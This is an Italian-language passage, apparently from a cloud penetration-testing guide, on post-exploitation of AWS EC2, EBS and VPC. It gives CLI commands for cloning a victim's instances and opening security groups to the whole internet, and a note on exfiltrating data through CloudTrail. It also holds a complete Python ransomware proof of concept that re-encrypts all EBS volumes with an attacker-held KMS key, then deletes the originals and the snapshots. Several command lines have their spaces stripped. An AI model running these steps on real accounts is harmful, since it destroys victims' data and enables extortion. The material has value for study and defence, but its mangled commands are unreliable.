Il mirroring del traffico VPC duplica il traffico in entrata e in uscita per le istanze EC2 all'interno di un VPC senza la necessità di installare nulla sulle istanze stesse. Questo traffico duplicato verrebbe comunemente inviato a un sistema di rilevamento delle intrusioni di rete (IDS) per analisi e monitoraggio.
Un attaccante potrebbe sfruttare ciò per catturare tutto il traffico e ottenere informazioni sensibili da esso:
Per ulteriori informazioni controlla questa pagina:
Le istanze di solito contengono informazioni sensibili. Ci sono diversi modi per accedervi (controlla trucchi di escalation dei privilegi EC2). Tuttavia, un altro modo per controllare cosa contiene è creare un AMI e eseguire una nuova istanza (anche nel tuo account) da essa:
# List instancesawsec2describe-images# create a new image for the instance-idawsec2create-image--instance-idi-0438b003d81cd7ec5--name"AWS Audit"--description"Export AMI"--regioneu-west-1# add key to AWSawsec2import-key-pair--key-name"AWS Audit"--public-key-materialfile://~/.ssh/id_rsa.pub--regioneu-west-1# create ec2 using the previously created AMI, use the same security group and subnet to connect easily.aws ec2 run-instances --image-id ami-0b77e2d906b00202d --security-group-ids "sg-6d0d7f01" --subnet-id subnet-9eb001ea --count 1 --instance-type t2.micro --key-name "AWS Audit" --query "Instances[0].InstanceId" --region eu-west-1
# now you can check the instanceawsec2describe-instances--instance-idsi-0546910a0c18725a1# If needed : edit groupsawsec2modify-instance-attribute--instance-id"i-0546910a0c18725a1"--groups"sg-6d0d7f01"--regioneu-west-1# be a good guy, clean our instance to avoid any useless costawsec2stop-instances--instance-id"i-0546910a0c18725a1"--regioneu-west-1awsec2terminate-instances--instance-id"i-0546910a0c18725a1"--regioneu-west-1
Dump di Snapshot EBS
Gli snapshot sono copie di backup dei volumi, che di solito contengono informazioni sensibili, pertanto controllarli potrebbe rivelare tali informazioni.
Se trovi un volume senza snapshot potresti: Creare uno snapshot e eseguire le seguenti azioni o semplicemente montarlo in un'istanza all'interno dell'account:
Un attaccante potrebbe chiamare i punti finali delle API di un account controllato da lui. Cloudtrail registrerà queste chiamate e l'attaccante potrà vedere i dati esfiltrati nei log di Cloudtrail.
Gruppo di Sicurezza Aperto
Potresti ottenere ulteriore accesso ai servizi di rete aprendo le porte in questo modo:
awsec2authorize-security-group-ingress--group-id<sg-id>--protocoltcp--port80--cidr0.0.0.0/0# Or you could just open it to more specific ips or maybe th einternal network if you have already compromised an EC2 in the VPC
Privesc a ECS
È possibile eseguire un'istanza EC2 e registrarla per essere utilizzata per eseguire istanze ECS e quindi rubare i dati delle istanze ECS.
Una prova concettuale simile alla dimostrazione del Ransomware mostrata nelle note di post-exploitation di S3. KMS dovrebbe essere rinominato in RMS per Ransomware Management Service con la facilità con cui è possibile utilizzarlo per crittografare vari servizi AWS.
Prima, da un account AWS 'attaccante', creare una chiave gestita dal cliente in KMS. Per questo esempio, faremo in modo che AWS gestisca i dati della chiave per me, ma in uno scenario realistico un attore malintenzionato tratterrebbe i dati della chiave al di fuori del controllo di AWS. Cambiare la policy della chiave per consentire a qualsiasi Principal dell'account AWS di utilizzare la chiave. Per questa policy della chiave, il nome dell'account era 'AttackSim' e la regola della policy che consente tutto l'accesso si chiama 'Crittografia esterna'.
La regola chiave della policy richiede quanto segue abilitato per consentire la possibilità di utilizzarla per crittografare un volume EBS:
kms:CreateGrant
kms:Decrypt
kms:DescribeKey
kms:GenerateDataKeyWithoutPlainText
kms:ReEncrypt
Ora con la chiave accessibile pubblicamente da utilizzare. Possiamo utilizzare un account 'vittima' che ha alcune istanze EC2 avviate con volumi EBS non crittografati collegati. I volumi EBS di questo account 'vittima' sono quelli che stiamo mirando a crittografare, questo attacco è sotto l'ipotesi di una violazione di un account AWS ad alto privilegio.
Ciò comporta che rimangano solo volumi EBS crittografati disponibili nell'account.
È anche importante notare che lo script ha fermato le istanze EC2 per staccare ed eliminare i volumi EBS originali. I volumi non crittografati originali sono ora scomparsi.
Successivamente, tornare alla policy chiave nell'account dell' 'attaccante' e rimuovere la regola della policy 'Crittografia esterna'.
{"Version":"2012-10-17","Id":"key-consolepolicy-3","Statement": [{"Sid":"Enable IAM User Permissions","Effect":"Allow","Principal": {"AWS":"arn:aws:iam::[Your AWS Account Id]:root"},"Action":"kms:*","Resource":"*"},{"Sid":"Allow access for Key Administrators","Effect":"Allow","Principal": {"AWS":"arn:aws:iam::[Your AWS Account Id]:user/AttackSim"},"Action": ["kms:Create*","kms:Describe*","kms:Enable*","kms:List*","kms:Put*","kms:Update*","kms:Revoke*","kms:Disable*","kms:Get*","kms:Delete*","kms:TagResource","kms:UntagResource","kms:ScheduleKeyDeletion","kms:CancelKeyDeletion"],"Resource":"*"},{"Sid":"Allow use of the key","Effect":"Allow","Principal": {"AWS":"arn:aws:iam::[Your AWS Account Id]:user/AttackSim"},"Action": ["kms:Encrypt","kms:Decrypt","kms:ReEncrypt*","kms:GenerateDataKey*","kms:DescribeKey"],"Resource":"*"},{"Sid":"Allow attachment of persistent resources","Effect":"Allow","Principal": {"AWS":"arn:aws:iam::[Your AWS Account Id]:user/AttackSim"},"Action": ["kms:CreateGrant","kms:ListGrants","kms:RevokeGrant"],"Resource":"*","Condition": {"Bool": {"kms:GrantIsForAWSResource":"true"}}}]}
Attendere un momento affinché la nuova policy chiave impostata si propaghi. Successivamente tornare all'account 'vittima' e tentare di allegare uno dei nuovi volumi EBS criptati. Si noterà che è possibile allegare il volume.
Tuttavia, quando si tenta di avviare effettivamente l'istanza EC2 con il volume EBS criptato, fallirà e tornerà allo stato 'in attesa' allo stato 'arrestato' per sempre poiché il volume EBS allegato non può essere decifrato utilizzando la chiave poiché la policy della chiave non lo consente più.
Questo è lo script Python utilizzato. Richiede le credenziali AWS per un account 'vittima' e un valore ARN AWS pubblicamente disponibile per la chiave da utilizzare per la crittografia. Lo script creerà copie criptate di TUTTI i volumi EBS disponibili allegati a TUTTE le istanze EC2 nell'account AWS mirato, quindi fermerà ogni istanza EC2, staccherà i volumi EBS originali, li eliminerà e infine eliminerà tutti gli snapshot utilizzati durante il processo. Ciò lascerà solo volumi EBS criptati nell'account 'vittima' mirato. UTILIZZARE QUESTO SCRIPT SOLO IN UN AMBIENTE DI TEST, È DISTRUTTIVO E ELIMINERÀ TUTTI I VOLUMI EBS ORIGINALI. È possibile recuperarli utilizzando la chiave KMS utilizzata e ripristinarli al loro stato originale tramite snapshot, ma si desidera solo farvi presente che questo è un PoC di ransomware alla fine della giornata.
import boto3
import argparse
from botocore.exceptions import ClientError
def enumerate_ec2_instances(ec2_client):
instances = ec2_client.describe_instances()
instance_volumes = {}
for reservation in instances['Reservations']:
for instance in reservation['Instances']:
instance_id = instance['InstanceId']
volumes = [vol['Ebs']['VolumeId'] for vol in instance['BlockDeviceMappings'] if 'Ebs' in vol]
instance_volumes[instance_id] = volumes
return instance_volumes
def snapshot_volumes(ec2_client, volumes):
snapshot_ids = []
for volume_id in volumes:
snapshot = ec2_client.create_snapshot(VolumeId=volume_id)
snapshot_ids.append(snapshot['SnapshotId'])
return snapshot_ids
def wait_for_snapshots(ec2_client, snapshot_ids):
for snapshot_id in snapshot_ids:
ec2_client.get_waiter('snapshot_completed').wait(SnapshotIds=[snapshot_id])
def create_encrypted_volumes(ec2_client, snapshot_ids, kms_key_arn):
new_volume_ids = []
for snapshot_id in snapshot_ids:
snapshot_info = ec2_client.describe_snapshots(SnapshotIds=[snapshot_id])['Snapshots'][0]
volume_id = snapshot_info['VolumeId']
volume_info = ec2_client.describe_volumes(VolumeIds=[volume_id])['Volumes'][0]
availability_zone = volume_info['AvailabilityZone']
volume = ec2_client.create_volume(SnapshotId=snapshot_id, AvailabilityZone=availability_zone,
Encrypted=True, KmsKeyId=kms_key_arn)
new_volume_ids.append(volume['VolumeId'])
return new_volume_ids
def stop_instances(ec2_client, instance_ids):
for instance_id in instance_ids:
try:
instance_description = ec2_client.describe_instances(InstanceIds=[instance_id])
instance_state = instance_description['Reservations'][0]['Instances'][0]['State']['Name']
if instance_state == 'running':
ec2_client.stop_instances(InstanceIds=[instance_id])
print(f"Stopping instance: {instance_id}")
ec2_client.get_waiter('instance_stopped').wait(InstanceIds=[instance_id])
print(f"Instance {instance_id} stopped.")
else:
print(f"Instance {instance_id} is not in a state that allows it to be stopped (current state: {instance_state}).")
except ClientError as e:
print(f"Error stopping instance {instance_id}: {e}")
def detach_and_delete_volumes(ec2_client, volumes):
for volume_id in volumes:
try:
ec2_client.detach_volume(VolumeId=volume_id)
ec2_client.get_waiter('volume_available').wait(VolumeIds=[volume_id])
ec2_client.delete_volume(VolumeId=volume_id)
print(f"Deleted volume: {volume_id}")
except ClientError as e:
print(f"Error detaching or deleting volume {volume_id}: {e}")
def delete_snapshots(ec2_client, snapshot_ids):
for snapshot_id in snapshot_ids:
try:
ec2_client.delete_snapshot(SnapshotId=snapshot_id)
print(f"Deleted snapshot: {snapshot_id}")
except ClientError as e:
print(f"Error deleting snapshot {snapshot_id}: {e}")
def replace_volumes(ec2_client, instance_volumes):
instance_ids = list(instance_volumes.keys())
stop_instances(ec2_client, instance_ids)
all_volumes = [vol for vols in instance_volumes.values() for vol in vols]
detach_and_delete_volumes(ec2_client, all_volumes)
def ebs_lock(access_key, secret_key, region, kms_key_arn):
ec2_client = boto3.client('ec2', aws_access_key_id=access_key, aws_secret_access_key=secret_key, region_name=region)
instance_volumes = enumerate_ec2_instances(ec2_client)
all_volumes = [vol for vols in instance_volumes.values() for vol in vols]
snapshot_ids = snapshot_volumes(ec2_client, all_volumes)
wait_for_snapshots(ec2_client, snapshot_ids)
create_encrypted_volumes(ec2_client, snapshot_ids, kms_key_arn) # New encrypted volumes are created but not attached
replace_volumes(ec2_client, instance_volumes) # Stops instances, detaches and deletes old volumes
delete_snapshots(ec2_client, snapshot_ids) # Optionally delete snapshots if no longer needed
def parse_arguments():
parser = argparse.ArgumentParser(description='EBS Volume Encryption and Replacement Tool')
parser.add_argument('--access-key', required=True, help='AWS Access Key ID')
parser.add_argument('--secret-key', required=True, help='AWS Secret Access Key')
parser.add_argument('--region', required=True, help='AWS Region')
parser.add_argument('--kms-key-arn', required=True, help='KMS Key ARN for EBS volume encryption')
return parser.parse_args()
def main():
args = parse_arguments()
ec2_client = boto3.client('ec2', aws_access_key_id=args.access_key, aws_secret_access_key=args.secret_key, region_name=args.region)
instance_volumes = enumerate_ec2_instances(ec2_client)
all_volumes = [vol for vols in instance_volumes.values() for vol in vols]
snapshot_ids = snapshot_volumes(ec2_client, all_volumes)
wait_for_snapshots(ec2_client, snapshot_ids)
create_encrypted_volumes(ec2_client, snapshot_ids, args.kms_key_arn)
replace_volumes(ec2_client, instance_volumes)
delete_snapshots(ec2_client, snapshot_ids)
if __name__ == "__main__":
main()
Simile all'esempio di ransomware S3. Questo attacco creerà copie dei volumi EBS collegati utilizzando snapshot, utilizzerà la chiave disponibile pubblicamente dall'account 'attaccante' per crittografare i nuovi volumi EBS, quindi staccherà i volumi EBS originali dalle istanze EC2 ed eliminerà, infine, i snapshot utilizzati per creare i nuovi volumi EBS crittografati.